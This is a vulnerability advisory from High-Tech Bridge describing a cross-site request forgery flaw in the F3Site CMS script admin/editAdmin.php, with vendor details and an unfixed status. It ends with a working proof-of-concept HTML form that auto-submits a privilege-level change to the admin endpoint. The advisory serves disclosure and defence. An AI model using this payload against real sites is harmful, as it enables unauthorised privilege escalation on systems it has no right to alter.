XSRF (CSRF) in F3Site

Vulnerability ID: HTB22757
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_f3site.html
Product: F3Site
Vendor: COMPMaster ( http://dhost.info/compmaster/ )
Vulnerable Version: 2011 alfa 1 and probably prior versions
Vendor Notification: 21 December 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "admin/editAdmin.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/editAdmin/USER_ID&quot; method="post" name="main">
<input type="hidden" name="lv" value="3">
<input type="hidden" name="+" value="on">
</form>
<script>
document.main.submit();
</script>